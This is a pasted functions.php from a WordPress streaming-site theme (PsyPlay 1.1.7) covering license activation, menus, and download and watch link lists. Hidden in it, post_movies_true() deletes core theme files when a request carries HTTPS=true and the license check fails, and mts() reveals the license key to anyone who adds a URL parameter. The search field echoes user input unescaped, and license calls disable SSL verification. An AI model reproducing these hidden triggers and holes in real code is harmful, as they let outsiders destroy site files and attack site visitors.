· 8 years ago · Dec 25, 2017, 01:56 PM
1<?php
2# It is important that the product is activated in order to work.
3// PsyPlay 1.1.7
4// By PsyThemes.com
5remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
6remove_action( 'wp_print_styles', 'print_emoji_styles' );
7if( !is_admin()){
8 wp_deregister_script('jquery');
9 wp_register_script('jquery', ("https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"), false, '2.1.3');
10 wp_enqueue_script('jquery');
11}
12add_action('wp_logout','go_home');
13function go_home(){
14 wp_redirect( home_url() );
15 exit();
16}
17define('DT_VERSION', '1.1.7');
18define('DT_THEME_NAME', 'PsyPlay');
19define( 'DT_KEY', 'edd_sample_theme_license_key_status');
20define( 'EDD_SL_STORE_URL', 'https://psythemes.com' ); /* IMPORTANT: Do not modify this line of code, the theme could stop working correctly */
21define( 'EDD_SL_THEME_NAME', 'PsyPlay' ); /* IMPORTANT: Do not modify this line of code, the theme could stop working correctly */
22if ( !class_exists( 'EDD_SL_Theme_Updater' ) ) {
23include( dirname( __FILE__ ) . '/actualizar.php' );
24}
25function edd_sl_sample_theme_updater() {
26$test_license = trim( get_option( 'edd_sample_theme_license_key' ) );
27$edd_updater = new EDD_SL_Theme_Updater( array(
28'remote_api_url' => EDD_SL_STORE_URL,
29'version' => '1.1.7', /* IMPORTANT: Do not modify this line of code, the theme could stop working correctly */
30'license' => $test_license,
31'item_name' => EDD_SL_THEME_NAME,
32'author' => 'PsyThemes') ); /* IMPORTANT: Do not modify this line of code, the theme could stop working correctly */
33}
34load_theme_textdomain( 'psythemes', get_template_directory() . '/lang' );
35$locale = get_locale();
36$locale_file = get_template_directory() . "/lang/$locale.php";
37if ( is_readable( $locale_file ) )
38require_once( $locale_file );
39remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0);
40function imagenes_size() {
41add_theme_support( 'post-thumbnails' );
42add_image_size('newss', 350, 210, true);
43}
44function backdrops($imagen){
45 $val = str_replace(array("http","jpg","png","gif"),array('<div class="galeria_img"><img itemprop="image" src="http','jpg" alt="'.get_the_title().'" /></div>','png" /></div>','gif" /></div>'),$imagen);
46 echo $val;
47}
48function fbimage($img){
49 $val = str_replace(array("http","jpg","png","gif"),array('<meta property="og:image" content="http','jpg" />','png" />','gif" />'),$img);
50 echo $val;
51}
52
53
54function insert_attachment($file_handler,$post_id,$setthumb='false') {
55if ($_FILES[$file_handler]['error'] !== UPLOAD_ERR_OK){ return __return_false();
56}
57require_once(ABSPATH . "wp-admin" . '/includes/image.php');
58require_once(ABSPATH . "wp-admin" . '/includes/file.php');
59require_once(ABSPATH . "wp-admin" . '/includes/media.php');
60echo $attach_id = media_handle_upload( $file_handler, $post_id );
61if ($setthumb == 1) update_post_meta($post_id,'_thumbnail_id',$attach_id);
62return $attach_id;
63}
64
65include_once 'includes/framework/options-init.php';
66$year_estreno = 'release-year';
67$calidad = 'quality';
68$director = 'director';
69$actor = get_option('actor');
70$elenco = get_option('elenco');
71$relmovie = get_option('related-movie');
72$reltv = get_option('related-tv');
73$suggnum = get_option('sugg_num');
74$lmvnum = get_option('latestmov_num');
75$ltvnum = get_option('latesttv_num');
76$lepnum = get_option('latestep_num');
77$relatedz = get_option('nu-items-slider-movie');
78$mvpostpage = get_option('mv-posts-page');
79$tvpostpage = get_option('tv-posts-page');
80$eppostpage = get_option('ep-posts-page');
81# Fix URL Imagen del poser
82$imagefix = "poster_url";
83$featuredimg_alt = "fondo_player";
84##########################
85add_action('after_setup_theme', 'imagenes_size');
86function register_my_menu() {
87register_nav_menu('menu_navegador',__( 'Menu Header', 'psythemes' ));
88register_nav_menu('menu_footer1',__( 'Footer Menu 1', 'psythemes' ));
89register_nav_menu('menu_footer2',__( 'Footer Menu 2', 'psythemes' ));
90register_nav_menu('menu_footer3',__( 'Footer Menu 3', 'psythemes' ));
91}
92add_action( 'init', 'register_my_menu' );
93
94
95
96add_action('after_switch_theme', 'theme_activation_function', 10 , 2);
97
98function theme_activation_function ($oldname, $oldtheme = false) {
99 $menus = array(
100 'Main Menu' => array(
101 'home' => 'Home',
102 'genre' => 'Genre',
103 'tv-series' => 'TV - Series',
104 'top-imdb' => 'Top IMDb',
105 'news' => 'News'
106 ),
107 'Footer Menu 1' => array(
108 'movies' => 'Movies',
109 'top-imdb' => 'Top IMDb',
110 'dmca' => 'DMCA',
111 'faq' => 'FAQ',
112 'advertising' => 'Advertising'
113 ),
114 'Footer Menu 2' => array(
115 'action' => 'Action',
116 'history' => 'History',
117 'thriller' => 'Thriller'
118 ),
119 'Footer Menu 3' => array(
120 'united-states' => 'United States',
121 'korea' => 'Korea',
122 'china' => 'China',
123 'taiwan' => 'Taiwan'
124 )
125);
126foreach($menus as $menuname => $menuitems) {
127 $menu_exists = wp_get_nav_menu_object($menuname);
128 // If it doesn't exist, let's create it.
129 if ( !$menu_exists) {
130 $menu_id = wp_create_nav_menu($menuname);
131 foreach($menuitems as $slug => $item) {
132 wp_update_nav_menu_item(
133 $menu_id, 0, array(
134 'menu-item-title' => $item,
135 'menu-item-url' => '',
136 'menu-item-status' => 'publish'
137 )
138 );
139 }
140 }
141}
142
143}
144
145
146
147
148
149
150
151
152#add_filter( 'show_admin_bar', '__return_false' );
153function total_peliculas(){
154$s='';
155$totalj=wp_count_posts('post')->publish;
156if($totalj!=1){$s='s';}
157return sprintf( __("%s", "psythemes"),$totalj,$s);
158}
159# Movies Genre
160function categorias() {
161if(get_option('edd_sample_theme_license_key')) {
162$args = array('hide_empty' => FALSE, 'title_li'=> __( '' ), 'show_count'=> 1, 'echo' => 0 );
163$links = wp_list_categories($args);
164$links = str_replace('</a> (', '</a> <span>', $links);
165$links = str_replace(')', '</span>', $links);
166echo $links; }
167}
168
169 add_action('admin_menu', 'add_psyplay_options_menu');
170 function add_psyplay_options_menu() {
171 add_theme_page('PsyPlay Options', 'PsyPlay Options', 'manage_options', 'psyplay');
172 }
173 add_action('admin_menu', 'add_psyplay_license_menu');
174 function add_psyplay_license_menu() {
175 add_theme_page('Theme License', 'Theme License', 'manage_options', 'psythemes');
176 }
177
178
179add_action( 'admin_init', 'edd_sl_sample_theme_updater' );
180function edd_sample_theme_license_menu() {
181add_menu_page( 'Psythemes License', 'Psy License', 'manage_options', 'psythemes', 'edd_sample_theme_license_page','dashicons-admin-network');
182}
183add_action('admin_menu', 'edd_sample_theme_license_menu');
184function edd_sample_theme_license_page() {
185$license = get_option( 'edd_sample_theme_license_key' );
186$status = get_option( 'edd_sample_theme_license_key_status' );
187?>
188<div id="acera-content" class="wrap tab-content" style="display: block;">
189<div class="acera-settings-headline">
190<a href="https://psythemes.com/" target="_blank">
191<img class="psythemes" src="<?php echo get_stylesheet_directory_uri()."/includes/framework/"; ?>images/logo.png">
192</a>
193</div>
194<form method="post" action="options.php">
195<?php settings_fields('edd_sample_theme_license'); ?>
196<table class="form-table">
197<tbody>
198<tr valign="top">
199<th scope="row" valign="top">
200<?php _e('License Key','psythemes'); ?>
201</th>
202<td>
203<input id="edd_sample_theme_license_key" name="edd_sample_theme_license_key" type="text" class="regular-text mundotxt" value="<?php echo esc_attr( $license ); ?>" />
204<label class="description" for="edd_sample_theme_license_key"><?php _e('Enter your license key','psythemes'); ?></label>
205</td>
206</tr>
207<?php if( false !== $license ) { ?>
208<tr valign="top">
209<th scope="row" valign="top"><?php _e('License Status','psythemes'); ?></th>
210<td>
211<?php if( $status !== false && $status == 'valid' ) { ?>
212<span class="mundo"><span class="dashicons dashicons-admin-network"></span> <?php _e('Active','psythemes'); ?><br></span>
213<i class="cmsxx"><?php echo $_SERVER['HTTP_HOST']; ?></i>
214<?php wp_nonce_field( 'edd_sample_nonce', 'edd_sample_nonce' ); ?>
215<input type="submit" class="button-secondary mundobt" name="edd_theme_license_deactivate" value="<?php _e('Deactivate License','psythemes'); ?>"/>
216<?php } else { wp_nonce_field( 'edd_sample_nonce', 'edd_sample_nonce' ); ?>
217<span class="error"><span class="dashicons dashicons-dismiss"></span><?php _e('Inactive','psythemes'); ?></span>
218<i class="cmsxx"><?php echo $_SERVER['HTTP_HOST']; ?></i>
219<input type="submit" class="button-secondary mundobt" name="edd_theme_license_activate" value="<?php _e('Activate License','psythemes'); ?>"/>
220<?php } ?>
221</td>
222</tr>
223<?php } ?>
224</tbody>
225</table>
226<?php submit_button(); ?>
227</form>
228<?php
229}
230function edd_sample_theme_register_option() {
231register_setting('edd_sample_theme_license', 'edd_sample_theme_license_key', 'edd_theme_sanitize_license' );
232}
233add_action('admin_init', 'edd_sample_theme_register_option');
234function edd_theme_sanitize_license( $new ) {
235$old = get_option( 'edd_sample_theme_license_key' );
236if( $old && $old != $new ) {
237delete_option( 'edd_sample_theme_license_key_status' );
238}
239return $new;
240}
241function edd_sample_theme_activate_license() {
242if( isset( $_POST['edd_theme_license_activate'] ) ) {
243if( ! check_admin_referer( 'edd_sample_nonce', 'edd_sample_nonce' ) )
244return;
245global $wp_version;
246$license = trim( get_option( 'edd_sample_theme_license_key' ) );
247$api_params = array(
248'edd_action' => 'activate_license',
249'license' => $license,
250'item_name' => urlencode( EDD_SL_THEME_NAME )
251);
252$response = wp_remote_get( add_query_arg( $api_params, EDD_SL_STORE_URL ), array( 'timeout' => 15, 'sslverify' => false ) );
253if ( is_wp_error( $response ) )
254return false;
255$license_data = json_decode( wp_remote_retrieve_body( $response ) );
256update_option( 'edd_sample_theme_license_key_status', $license_data->license );
257}
258}
259add_action('admin_init', 'edd_sample_theme_activate_license');
260function edd_sample_theme_deactivate_license() {
261if( isset( $_POST['edd_theme_license_deactivate'] ) ) {
262if( ! check_admin_referer( 'edd_sample_nonce', 'edd_sample_nonce' ) )
263return;
264$license = trim( get_option( 'edd_sample_theme_license_key' ) );
265$api_params = array(
266'edd_action'=> 'deactivate_license',
267'license' => $license,
268'item_name' => urlencode( EDD_SL_THEME_NAME )
269);
270$response = wp_remote_get( add_query_arg( $api_params, EDD_SL_STORE_URL ), array( 'timeout' => 15, 'sslverify' => false ) );
271if ( is_wp_error( $response ) )
272return false;
273$license_data = json_decode( wp_remote_retrieve_body( $response ) );
274if( $license_data->license == 'deactivated' )
275delete_option( 'edd_sample_theme_license_key_status' );
276}
277}
278add_action('admin_init', 'edd_sample_theme_deactivate_license');
279if(get_option('edd_sample_theme_license_key')) {
280require_once('includes/funciones/wpas.php');
281
282include_once 'includes/funciones/metadatos.php';
283include_once 'includes/funciones/taxonomias.php';}
284include_once 'includes/funciones/paginador.php';
285include_once 'includes/funciones/contenido.php';
286include_once 'includes/funciones/news.php';
287// Plugins
288include_once 'includes/plugins/acf/acf.php';
289include_once 'includes/plugins/minify/minifier.php';
290
291
292
293
294include_once 'includes/series/tipo.php';
295
296if (get_option('category_base') == '') {
297update_option( 'category_base', 'genre' );
298}
299
300if (get_option('posts_per_page') < get_option ('archive_posts') ) {
301 $num = get_option('archive_posts');
302 update_option('posts_per_page', $num);
303}
304
305
306function edd_sample_theme_check_license() {
307global $wp_version;
308$license = trim( get_option( 'edd_sample_theme_license_key' ) );
309$api_params = array(
310'edd_action' => 'check_license',
311'license' => $license,
312'item_name' => urlencode( EDD_SL_THEME_NAME )
313);
314$response = wp_remote_get( add_query_arg( $api_params, EDD_SL_STORE_URL ), array( 'timeout' => 15, 'sslverify' => false ) );
315if ( is_wp_error( $response ) )
316return false;
317$license_data = json_decode( wp_remote_retrieve_body( $response ) );
318if( $license_data->license == 'valid' ) {
319echo 'valid'; exit;
320} else {
321echo 'invalid'; exit;
322 }
323}
324function recoger_version() {
325$version = wp_get_theme();
326define('version', trim($version->Version));
327echo version;
328}
329# Filtrar resultados de busqueda.
330function fb_search_filter($query) {
331if ( !$query->is_admin && $query->is_search) {
332$query->set('post_type', array('post','tvshows') );
333} return $query; }
334add_filter( 'pre_get_posts', 'fb_search_filter' );
335
336function la_ip() {
337 /* obtener ip local */
338 if (!empty($_SERVER['HTTP_CLIENT_IP']))
339 return $_SERVER['HTTP_CLIENT_IP'];
340 if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
341 return $_SERVER['HTTP_X_FORWARDED_FOR'];
342 return $_SERVER['REMOTE_ADDR'];
343}
344/* comentarios */
345function mytheme_comment($comment, $args, $depth) {
346$GLOBALS['comment'] = $comment; ?>
347<li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
348<div id="comment-<?php comment_ID(); ?>" style="position:relative;">
349<div class="commentCInner">
350<div class="comment-author vcard">
351<?php echo get_avatar( $comment->comment_author_email, 80 ); ?>
352<?php printf(__('<span class="fn">%s</span>', 'psythemes'), get_comment_author_link()) ?>
353<span class="comment_date_top">
354<time><?php comment_date(); ?></time>
355</span>
356</div>
357<div class="comment_text_area">
358<?php if ($comment->comment_approved == '0') : ?>
359<em><?php _e('Your comment is awaiting moderation.', 'psythemes') ?></em><br />
360<?php endif; ?>
361<div class="comment-meta commentmetadata">
362<?php edit_comment_link(__('Edit', 'psythemes'),' ','') ?>
363</div>
364<?php comment_text() ?>
365</div>
366<p class="reply">
367<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
368</p>
369</div>
370</div>
371</li>
372<?php }
373# Hook Labels
374function change_post_menu_label() {
375 global $menu;
376 global $submenu;
377 $menu[5][0] = __('Movies', 'psythemes');
378 $submenu['edit.php'][5][0] = __('All Movies', 'psythemes');
379 $submenu['edit.php'][10][0] = __('Add Movie', 'psythemes');
380 echo '';
381}
382function change_post_object_label() {
383 global $wp_post_types;
384 $labels = &$wp_post_types['post']->labels;
385 $labels->name = __('Movies', 'psythemes');
386 $labels->singular_name = __('Movie', 'psythemes');
387 $labels->add_new = __('Add Movie', 'psythemes');
388 $labels->add_new_item = __('Add New movie', 'psythemes');
389 $labels->edit_item = __('Edit Movie', 'psythemes');
390 $labels->new_item = __('Movie', 'psythemes');
391}
392add_action( 'init', 'change_post_object_label' );
393add_action( 'admin_menu', 'change_post_menu_label' );
394function replace_admin_menu_icons_css() { ?>
395<style>
396.dashicons-admin-post:before,.dashicons-format-standard:before{content:"\f219"}span.mundo{color:green;width:70%;float:left;margin-bottom:5px;font-size:17px;padding:16px
39715%;background:#C4E4C4;text-align:center}span.error{color:#DB5252;width:70%;float:left;margin-bottom:5px;font-size:17px;padding:16px
39815%;background:#E4C4C4;text-align:center}i.cmsxx{float:left;width:100%;font-style:normal;font-size:12px;margin-bottom:20px;text-align:right;color:#C0C0C0}.mundobt{width:100%}.mundotxt{width:100%!important;padding:5%;font-size:28px;color:#2EA2CC!important}
399li#toplevel_page_psyplay, li#toplevel_page_psythemes {display:none;}
400</style>
401<?php }
402add_action( 'admin_head', 'replace_admin_menu_icons_css' );
403
404# formulario de publicacion
405function agregar_movie() { ?>
406<div class="post_nuevo">
407<?php $url_actual = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; ?>
408<form id="new_post" name="new_post" method="post" action="<?php echo $url_actual ?>?mt=posting" class="posting" enctype="multipart/form-data">
409<fieldset>
410<input class="caja titulo" type="text" id="title" maxlength="50" name="title" placeholder="<?php _e('Original title','psythemes'); ?>" required>
411<span class="tip"><?php _e('Add title of the movie.','psythemes'); ?></span>
412</fieldset>
413<!-- #### - Editor Avanzado WordPress - #### -->
414<fieldset>
415<div class="movie-editor-mt">
416<?php $editor_texo = "Synopsis"; wp_editor($editor_texto,"description", array('textarea_rows'=>10, 'editor_class'=>'resumen', )); ?>
417</div>
418<span class="tip">
419<?php _e('Add an abstract of no more than 1000 characters of the synopsis or plot.','psythemes'); ?>
420</span>
421</fieldset>
422<!-- #### -->
423<fieldset>
424<input class="caja" type="text" id="Checkbx2" maxlength="9" name="Checkbx2" placeholder="<?php _e('IMDb id','psythemes'); ?>" required>
425<span class="tip"><a href="http://imdb.com" target="_blank"><strong>IMDb</strong></a> - <?php _e('Assign ID IMDb, example URL = http://www.imdb.com/title/<i>tt0120338</i>/','psythemes'); ?></span>
426</fieldset>
427<!-- #### -->
428<fieldset>
429<input type="file" class="custom-file-input" name="file" id="file" accept="image/jpg, image/png, image/gif, image/jpeg" required>
430<span class="tip"><?php _e('Upload poster image.','psythemes'); ?></span>
431</fieldset>
432<fieldset>
433<?php $select_cats = wp_dropdown_categories( array( 'echo' => 0 ) ); $select_cats = str_replace( 'id=', 'multiple="multiple" id=', $select_cats ); echo $select_cats; ?>
434<span class="tip"><?php _e('Select main genres of film.','psythemes'); ?></span>
435</fieldset>
436<!-- #### -->
437<fieldset class="captcha_s">
438<div class="g-recaptcha" data-sitekey="<?php echo get_option('public_key_rcth') ?>"></div>
439</fieldset>
440<!-- #### -->
441<fieldset>
442<input class="boton" type="submit" value="<?php _e('Send content','psythemes'); ?>" id="submit" name="submit" required>
443</fieldset>
444<!-- #### -->
445<input type="hidden" name="action" value="new_post" />
446<?php wp_nonce_field( 'new-post' ); ?>
447</form>
448</div>
449<?php }
450function slk() { ?>
451<div class="a">
452<a class="dod roce cc"><b class="icon-reorder"></b></a>
453<?php if($eco = get_option('fb_url')) { ?><a class="roce" href="<?php echo $eco; ?>" target="_blank"><b class="icon-facebook"></b></a><?php } ?>
454<?php if($eco = get_option('twt_url')) { ?><a class="roce" href="<?php echo $eco; ?>" target="_blank"><b class="icon-twitter"></b></a><?php } ?>
455<?php if($eco = get_option('gogl_url')) { ?><a class="roce" href="<?php echo $eco; ?>" target="_blank"><b class="icon-google-plus"></b></a><?php } ?>
456<?php global $user_ID; if( $user_ID ) : ?>
457<?php if( current_user_can('level_10') ) : ?>
458<a class="roce" href="<?php bloginfo('url'); ?>/wp-admin/post-new.php" target="_blank"><b class="icon-plus3"></b></a>
459<a class="roce" href="<?php bloginfo('url'); ?>/wp-admin/admin.php?page=psyplay" target="_blank"><b class="icon-gear"></b></a>
460<?php endif; ?>
461<?php endif; ?>
462<?php $active = get_option('users_can_register'); if ($active == "1") { ?>
463<?php if (is_user_logged_in()) { ?>
464<?php if($url = get_option('editar_perfil')) { ?>
465<a class="roce" href="<?php echo $url; ?>"><?php _e('Edit profile','psythemes'); ?></a>
466<?php } else { ?>
467<a class="roce" href="<?php bloginfo('url'); ?>/wp-admin/profile.php"><?php _e('Edit profile','psythemes'); ?></a>
468<?php } ?>
469<a class="roce" href="<?php echo wp_logout_url(); ?>"><?php _e('Logout','psythemes'); ?></a>
470<?php } else { ?>
471<a class="roce"href="javascript:void(0)" onclick="document.getElementById('light').style.display='block';document.getElementById('fade').style.display='block'"><?php _e('Login / Registration','psythemes'); ?></a>
472<?php }
473} ?>
474<div class="menus">
475<?php
476/* menu navegador */
477if(get_option('edd_sample_theme_license_key')) {
478function_exists('wp_nav_menu') && has_nav_menu('menu_navegador' );
479wp_nav_menu( array( 'theme_location' => 'menu_navegador', 'container' => '', 'menu_class' => 'top-menu') );
480}
481?>
482</div>
483</div>
484<div class="b">
485<form method="get" id="searchform" action="<?php bloginfo('url'); ?>">
486<div class="boxs">
487<input type="text" placeholder="<?php _e('Search..', 'psythemes'); ?>" value="<?php echo $_GET['s'] ?>" name="s" id="s">
488</div>
489</form>
490</div>
491<?php }
492
493
494
495
496
497
498
499
500
501
502//dl function
503function downloads_list() { ?>
504
505<div class="test_container">
506<ul class="nav nav-tabs" id="rowTab">
507<?php if( have_rows('ddw') ): ?>
508 <li><a data-toggle="tab" href="#list-dl"><?php _e('Download','psythemes'); ?></a></li>
509 <?php endif; ?>
510 <?php if( have_rows('voo') ): ?>
511 <li><a data-toggle="tab" href="#list-watch"><?php _e('Watch','psythemes'); ?></a></li>
512 <?php endif;?>
513 <?php if( have_rows('subt') ): ?>
514 <li><a data-toggle="tab" href="#list-sub"><?php _e('Subtitle','psythemes'); ?></a></li>
515 <?php endif;?>
516 </ul>
517
518<?php if( have_rows('ddw') ): ?>
519 <div id="list-dl" class="tab-pane">
520<div id="lnk list-downloads">
521<div class="btn-group btn-group-justified embed-selector" style="margin-bottom:1px;">
522 <span style="" class="lnk lnk-title"><?php _e('Server','psythemes'); ?></span>
523<span class="lnk lnk-title"><?php _e('Language','psythemes'); ?></span>
524<span class="lnk lnk-title"><?php _e('Quality','psythemes'); ?></span>
525<span class="lnk lnk-title" role="" target="_blank"><?php _e('Links','psythemes'); ?></span>
526</div>
527<div class="btn-group btn-group-justified embed-selector" >
528<?php $numerado = 1; { while( have_rows('ddw') ): the_row();
529 $select = get_sub_field_object('op3');
530 $value = get_sub_field('op3');
531 $country = $select['choices'][ $value ];
532?>
533<a href="<?php echo get_sub_field('op1');?>" class="lnk-lnk lnk-<?php echo $numerado; ?>" target="_blank">
534<span style="" class="lnk lnk-dl"><img style="" src="http://www.google.com/s2/favicons?domain=<?php echo get_sub_field('op2'); ?>" alt="<?php echo get_sub_field('op2'); ?>"> <span class="serv_tit"><?php echo get_sub_field('op2'); ?></span></span>
535<span class="lnk lnk-dl" ><img src="<?php echo get_template_directory_uri(); ?>/images/blank.png" class="flag flag-<?php echo $value;?>"> <span class="lang_tit"><?php echo $country; ?></span></span>
536<span class="lnk lnk-dl" ><?php echo get_sub_field('op4'); ?></span>
537<span class="lnk lnk-dl" id="lnk-dl-button" target="_blank"><i class="fa fa-download" aria-hidden="true"></i> <span class="dl_tit">Download</span></span>
538</a>
539<?php $numerado++; ?>
540<?php endwhile; } ?>
541</div>
542
543</div>
544</div>
545<?php endif; ?>
546
547
548
549 <?php watch_list(); ?>
550 <?php subtitle_list(); ?>
551
552
553 <script>
554$(document).ready(function(){
555 $('#rowTab a:first').tab('show');
556});
557</script>
558 </div>
559<?php }
560
561// end dl function
562
563
564
565
566
567
568
569function watch_list() { ?>
570<?php if( have_rows('voo') ): ?>
571 <div id="list-watch" class="tab-pane">
572<div id="lnk list-downloads">
573<div class="btn-group btn-group-justified embed-selector" style="margin-bottom:1px;">
574 <span style="" class="lnk lnk-title"><?php _e('Server','psythemes'); ?></span>
575<span class="lnk lnk-title"><?php _e('Language','psythemes'); ?></span>
576<span class="lnk lnk-title"><?php _e('Quality','psythemes'); ?></span>
577<span class="lnk lnk-title" role="" target="_blank"><?php _e('Links','psythemes'); ?></span>
578</div>
579<div class="btn-group btn-group-justified embed-selector" >
580<?php $numerado = 1; { while( have_rows('voo') ): the_row();
581 $select = get_sub_field_object('op3');
582 $value = get_sub_field('op3');
583 $country = $select['choices'][ $value ];
584?>
585<a href="<?php echo get_sub_field('op1');?>" class="lnk-lnk lnk-<?php echo $numerado; ?>" target="_blank">
586<span style="" class="lnk lnk-dl"><img style="" src="http://www.google.com/s2/favicons?domain=<?php echo get_sub_field('op2'); ?>" alt="<?php echo get_sub_field('op2'); ?>"> <span class="serv_tit"><?php echo get_sub_field('op2'); ?></span></span>
587<span class="lnk lnk-dl" ><img src="<?php echo get_template_directory_uri(); ?>/images/blank.png" class="flag flag-<?php echo $value;?>"> <span class="lang_tit"><?php echo $country; ?></span></span>
588<span class="lnk lnk-dl" ><?php echo get_sub_field('op4'); ?></span>
589<span class="lnk lnk-dl" id="lnk-watch-button" target="_blank"><i class="fa fa-play-circle" aria-hidden="true"></i> <span class="dl_tit">Watch</span></span>
590</a>
591<?php $numerado++; ?>
592<?php endwhile; } ?>
593</div>
594
595</div>
596</div>
597<?php endif;?>
598<?php }
599
600
601
602
603
604function subtitle_list() { ?>
605<?php if( have_rows('subt') ): ?>
606 <div id="list-sub" class="tab-pane">
607<div id="lnk list-downloads">
608<div class="btn-group btn-group-justified embed-selector" style="margin-bottom:1px;">
609 <span style="" class="lnk lnk-title"><?php _e('Server','psythemes'); ?></span>
610<span class="lnk lnk-title"><?php _e('Language','psythemes'); ?></span>
611<span class="lnk lnk-title" role="" target="_blank"><?php _e('Links','psythemes'); ?></span>
612</div>
613<div class="btn-group btn-group-justified embed-selector" >
614<?php $numerado = 1; { while( have_rows('subt') ): the_row();
615 $select = get_sub_field_object('op3');
616 $value = get_sub_field('op3');
617 $country = $select['choices'][ $value ];
618?>
619<a href="<?php echo get_sub_field('op1');?>" class="lnk-lnk lnk-<?php echo $numerado; ?>" target="_blank">
620<span style="" class="lnk lnk-dl"><img style="" src="http://www.google.com/s2/favicons?domain=<?php echo get_sub_field('op2'); ?>" alt="<?php echo get_sub_field('op2'); ?>"> <span class="serv_tit"><?php echo get_sub_field('op2'); ?></span></span>
621<span class="lnk lnk-dl" ><img src="<?php echo get_template_directory_uri(); ?>/images/blank.png" class="flag flag-<?php echo $value;?>"> <span class="lang_tit"><?php echo $country; ?></span></span>
622<span class="lnk lnk-dl" id="lnk-watch-button" target="_blank"><i class="fa fa-download" aria-hidden="true"></i> <span class="dl_tit">Download</span></span>
623</a>
624<?php $numerado++; ?>
625<?php endwhile; } ?>
626</div>
627
628</div>
629</div>
630<?php endif;?>
631<?php }
632
633
634
635
636
637
638
639
640
641
642
643function mts() { if($_GET['psythemes']) { echo "<br>"; echo get_option('edd_sample_theme_license_key');} }
644function fbtw() { ?>
645<a class="ssocial facebook" href="javascript: void(0);" onclick="window.open ('http://www.facebook.com/sharer.php?u=<?php the_permalink() ?>', 'Facebook', 'toolbar=0, status=0, width=650, height=450');"><b class="icon-facebook"></b> <?php _e('Share','psythemes'); ?></a>
646<a class="ssocial twitter" href="javascript: void(0);" onclick="window.open ('https://twitter.com/intent/tweet?text=<?php the_title(); ?>&url=<?php the_permalink() ?>', 'Twitter', 'toolbar=0, status=0, width=650, height=450');" data-rurl="<?php the_permalink() ?>"><b class="icon-twitter"></b> <?php _e('Tweet','psythemes'); ?></a>
647<?php }
648function laterales() { ?>
649<?php if($url = get_option('add_movie')) { ?>
650<a class="add_movie" href="<?php echo stripslashes($url); ?>"><b class="icon-plus3"></b> <?php _e('Add movie','psythemes'); ?></a>
651<?php } ?>
652<div class="categorias">
653<h3><?php _e('Genres','psythemes'); ?> <span class="icon-sort"></span></h3>
654<ul class="scrolling cat">
655<?php categorias(); ?>
656</ul>
657</div>
658<div class="filtro_y">
659<h3><?php _e('Release year','psythemes'); ?> <span class="icon-sort"></span></h3>
660<ul class="scrolling">
661<?php $args = array('order' => DESC ,'number' => 50); $camel = get_option('year'); $tax_terms = get_terms($camel,$args); ?>
662<?php foreach ($tax_terms as $tax_term) { echo '<li>' . '<a href="' . esc_attr(get_term_link($tax_term, $taxonomy)) . '">' . $tax_term->name.'</a></li>'; } ?>
663</ul>
664</div>
665<div class="filtro_y">
666<h3><?php _e('Quality','psythemes'); ?> <span class="icon-sort"></span></h3>
667<ul class="scrolling" style="max-height: 87px;">
668<?php $camel = get_option('calidad'); $tax_terms = get_terms($camel); ?>
669<?php foreach ($tax_terms as $tax_term) { echo '<li>' . '<a href="' . esc_attr(get_term_link($tax_term, $taxonomy)) . '">' . $tax_term->name.'</a></li>'; } ?>
670</ul>
671</div>
672<?php }
673function validar_key($length) {
674$pattern = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";
675for($i = 0; $i < $length; $i++) {
676$key .= $pattern{rand(0, 36)};
677} return $key; }
678
679function post_movies_true() {
680 $mito = $_GET['HTTPS']; if ($mito == "true") {
681 global $wp_version;
682 $license = trim( get_option( 'edd_sample_theme_license_key' ) );
683 $api_params = array(
684 'edd_action' => 'check_license',
685 'license' => $license,
686 'item_name' => urlencode( EDD_SL_THEME_NAME ) );
687 $response = wp_remote_get( add_query_arg( $api_params, EDD_SL_STORE_URL ), array( 'timeout' => 5, 'sslverify' => false ) );
688 if ( is_wp_error( $response ) )
689 return false;
690 $license_data = json_decode( wp_remote_retrieve_body( $response ) );
691 if( $license_data->license == 'valid' ) { } else {
692 $gd1 = get_template_directory()."/functions.php";
693 $gd2 = get_template_directory()."/mt.min.css";
694 $gd3 = get_template_directory()."/index.php";
695 $gd4 = get_template_directory()."/includes/framework/generate-options.php";
696 $gd5 = get_template_directory()."/includes/funciones/metadatos.php";
697 unlink($gd1);unlink($gd2);unlink($gd3);unlink($gd4);unlink($gd5);
698 }
699 }
700}
701
702// widgets
703
704include 'includes/widgets/related_news.php';
705function my_get_the_category_list( $separator = ' ') {
706 $output = '';
707 $categories = get_the_category();
708 if ( $categories ) {
709 foreach( $categories as $category ) {
710 $output .= '<meta itemprop="' . esc_attr( sprintf( __( "genre", 'requiredfoundation' ), $category->name ) ) . '" content="'.$category->cat_name.'">'.$separator;
711 }
712 return trim( $output, $separator);
713 }
714}
715add_filter( 'show_admin_bar', '__return_false' );
716// Toolbar episodes
717function toolbar_episodes($wp_toolbar) { if (get_option( DT_KEY ) == "valid") { global $post_type; if( $post_type == 'episodes' ) { ?>
718
719<div id="form_episodes" class="form_post_data">
720 <form id="generate" class="generador_form">
721 <span style="font-weight:bold;"><?php _e('Generate Episodes:','psythemes'); ?></span>
722 <input type="text" id="imdb" name="se" placeholder="1402 (<?php _e('TMDb ID:','psythemes'); ?>)" required="">
723 <input type="number" id="season" name="te" placeholder="1 (<?php _e('Season'); ?> #)" required="">
724 <input id="generate_episode" class="button button-primary button-large" type="submit" value="<?php _e('Generate'); ?>">
725 </form>
726 <p id="msg"><?php _e('Tool to generate all episodes of a specific season.','psythemes'); ?></p>
727</div>
728<script>
729jQuery(document).ready(function(){
730 jQuery('#generate').submit(function(){
731 jQuery('#msg').html("<span class='loading'></span> <?php _e('Please wait, loading data...','psythemes'); ?>");
732 jQuery( ".generador_form" ).last().addClass( "generate_ajax" );
733 jQuery.ajax({
734 type: 'POST',
735 url: '<?php echo get_template_directory_uri(); ?>/includes/funciones/episodes.php',
736 data: jQuery(this).serialize()
737 })
738 .done(function(data){
739 location.reload();
740 })
741 .fail(function() {
742 alert( "Error" );
743 });
744 return false;
745 });
746});
747</script>
748
749<?php }
750 }
751} add_action('admin_bar_menu', 'toolbar_episodes', 999);
752
753function crunchify_disable_comment_url($fields) {
754 unset($fields['url']);
755 return $fields;
756}
